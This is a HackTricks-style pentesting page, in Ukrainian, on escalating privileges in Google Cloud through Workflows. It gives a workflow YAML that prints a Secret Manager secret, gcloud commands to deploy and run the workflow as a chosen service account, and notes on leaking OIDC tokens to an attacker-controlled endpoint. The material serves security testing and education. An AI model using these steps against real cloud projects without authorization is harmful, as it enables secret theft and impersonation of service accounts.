GCP - Workflows Privesc

Support HackTricks

Workflows

Основна інформація:

GCP - Workflows Enum

workflows.workflows.create, iam.serviceAccounts.ActAs, workflows.executions.create, (workflows.workflows.get, workflows.operations.get)

Наскільки мені відомо, неможливо отримати shell з доступом до кінцевої точки метаданих, що містить облікові дані SA, пов'язані з Workflow. Однак, можливо зловживати дозволами SA, додаючи дії для виконання всередині Workflow.

Можна знайти документацію по коннекторам. Наприклад, це сторінка коннектора Secretmanager. У бічній панелі можна знайти кілька інших конекторів.

А тут ви можете знайти приклад конектора, який друкує секрет:

main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: '${str_secret}'

Оновлення з CLI:

gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1

Якщо у вас немає веб-доступу, ви можете запустити та побачити виконання Workflow за допомогою:

# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>

Ви також можете перевірити вихідні дані попередніх виконань, щоб знайти чутливу інформацію

Зверніть увагу, що навіть якщо ви отримаєте помилку, наприклад, PERMISSION_DENIED: Permission 'workflows.operations.get' denied on... через те, що у вас немає цього дозволу, робочий процес був згенерований.

Витік OIDC токена (та OAuth?)

Згідно з документацією, можливо використовувати кроки робочого процесу, які надсилають HTTP запит з токеном OAuth або OIDC. Однак, як і в випадку з Cloud Scheduler, HTTP запит з токеном Oauth повинен бути до хоста .googleapis.com.

Отже, можливо витікати OIDC токен, вказуючи HTTP кінцеву точку, контрольовану користувачем, але для витоку OAuth токена вам потрібен обхід для цього захисту. Однак ви все ще можете контактувати з будь-яким GCP API для виконання дій від імені SA, використовуючи або конектори, або HTTP запити з токеном OAuth.

Oauth

- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE

OIDC

- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE

workflows.workflows.update ...

З цією дозволом замість workflows.workflows.create можливо оновити вже існуючий робочий процес і виконати ті ж атаки.

Support HackTricks

Last updated